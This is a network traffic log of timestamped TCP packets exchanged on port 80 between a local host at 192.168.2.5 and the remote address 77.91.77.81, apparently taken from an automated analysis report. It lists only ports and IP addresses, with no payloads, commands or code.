Jun 20, 2024 15:38:06.842099905 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.842112064 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.842174053 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.842360020 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.842557907 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.842569113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.842580080 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.842626095 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.842649937 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.866071939 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.866086006 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.866096973 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.866133928 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.866146088 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.866157055 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.866178036 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.866178036 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.866195917 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.866314888 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.866327047 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.866336107 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.866348028 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.866381884 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.866403103 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.866405010 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.866441011 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.866446018 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.866482019 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.866512060 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.866523981 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.866534948 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.866553068 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.866569042 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.866585016 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.866646051 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.866720915 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.897227049 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.897298098 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.897310019 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.897314072 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.897344112 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.897416115 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.897428036 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.897489071 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.897517920 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.897535086 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.897545099 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.897556067 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.897567034 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.897578955 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.897592068 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.897622108 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.897921085 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.897933006 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.897943974 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.897995949 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.898016930 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.898025990 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.898037910 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.898047924 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.898070097 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.898099899 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.898123026 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.898133993 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.898144007 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.898205042 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.898205042 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.898314953 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.898327112 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.898391962 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.904689074 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.904719114 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.904730082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.904781103 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.904804945 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.904812098 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.904889107 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.904892921 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.904906034 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.904917002 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.904934883 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.904974937 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.905008078 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.905184031 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.905199051 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.905210972 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.905224085 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.905235052 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.905247927 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.905267954 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.905303001 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.905663013 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.905674934 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.905693054 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.905704975 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.905718088 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.905731916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.905749083 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.905780077 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.905839920 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.905850887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.905860901 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.905873060 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.905884027 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.905894041 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.905905962 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.905917883 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.905920029 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.905947924 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.905975103 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.906362057 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.906373978 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.906383991 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.906402111 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.906411886 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.906424046 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.906435013 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.906441927 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.906445980 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.906459093 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.906470060 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.906471014 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.906482935 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.906495094 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.906506062 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.906507015 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.906517982 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.906526089 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.906547070 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.906575918 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.907089949 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.907107115 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.907125950 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.907136917 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.907149076 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.907160044 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.907171965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.907172918 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.907185078 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.907196045 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.907197952 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.907213926 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.907226086 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.907237053 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.907238007 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.907249928 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.907258987 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.907264948 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.907279968 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.907295942 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.907318115 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.907938004 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.907949924 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.907962084 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.907973051 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.907984018 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.907994032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.908003092 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.908004999 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.908016920 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.908024073 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.908031940 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.908046961 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.908047915 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.908061981 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.908068895 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.908076048 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.908092022 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.908124924 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.908443928 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.908518076 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.927967072 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.927988052 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.927998066 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.928045034 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.928077936 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.928117037 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.928128958 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.928141117 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.928153992 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.928205967 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.928235054 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.928242922 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.928297043 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.953057051 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.953129053 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.953140020 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.953154087 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.953202009 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.953320026 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.953331947 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.953342915 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.953356981 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.953392982 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.953424931 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.984077930 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.984127045 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.984138966 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.984167099 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.984236002 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.984316111 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.984328032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.984338999 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.984352112 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.984391928 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.984426022 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.984538078 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.984549046 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.984559059 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.984570980 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.984580994 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.984592915 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.984605074 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.984622002 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.984658003 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.984658003 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.984879971 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.984889984 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.984950066 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.984982014 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.985001087 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.985013008 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.985023022 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.985035896 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.985054016 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.985078096 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.985131979 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.985299110 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.985310078 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.985321045 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.985332966 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.985344887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.985358000 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.985368013 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.985380888 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.985419035 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.985419035 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.991503000 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.991566896 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.991578102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.991585970 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.991620064 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.991667032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.991724968 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.991735935 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.991745949 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.991779089 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.991810083 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.991849899 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.991862059 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.991882086 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.991935968 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.991960049 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.991971016 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.991982937 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.991993904 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.992006063 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.992017984 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.992019892 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.992046118 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.992047071 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.992078066 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.992255926 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.992270947 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.992281914 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.992291927 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.992304087 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.992327929 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.992361069 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.992429972 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.992440939 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.992459059 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.992469072 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.992486000 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.992496967 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.992507935 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.992538929 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.992538929 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.992538929 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.992578983 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.992780924 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.992794037 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.992805958 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.992818117 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.992829084 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.992855072 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.992877960 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.992883921 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.992897987 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.992908955 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.992919922 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.992930889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.992934942 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.992948055 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.992959023 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.992959976 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.992974043 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.992995024 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.993016005 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.993463039 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.993474960 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.993484974 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.993495941 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.993506908 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.993518114 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.993527889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.993532896 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.993540049 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.993551970 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.993555069 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.993565083 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.993581057 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.993582964 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.993581057 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.993597031 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.993607044 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.993611097 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.993638039 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.993669033 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.993968010 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.993982077 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.993992090 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.994004011 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.994014978 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.994025946 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.994038105 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.994038105 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.994050026 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.994061947 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.994062901 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.994081020 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.994087934 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.994087934 CEST	49706	80	192.168.2.5	77.91.77.81
